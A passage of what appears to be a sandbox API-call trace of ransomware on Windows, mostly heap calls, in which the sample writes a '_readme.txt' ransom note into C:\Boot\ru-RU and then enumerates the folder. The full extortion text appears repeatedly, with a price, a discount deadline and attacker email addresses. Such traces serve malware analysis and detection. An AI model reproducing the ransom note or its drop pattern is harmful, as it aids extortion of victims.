Size=0x830) returned 0x32476f0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.557] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0066.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.558] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.558] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.558] PathFindFileNameW (pszPath="") returned="" [0066.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.558] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.558] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.558] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.558] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.558] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0066.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.558] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.558] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0066.561] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.562] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.562] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.562] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.562] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.563] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.563] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.564] CloseHandle (hObject=0x5c4) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.564] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.564] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.564] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.564] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3356c90, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.564] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3356c90, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.564] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.564] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 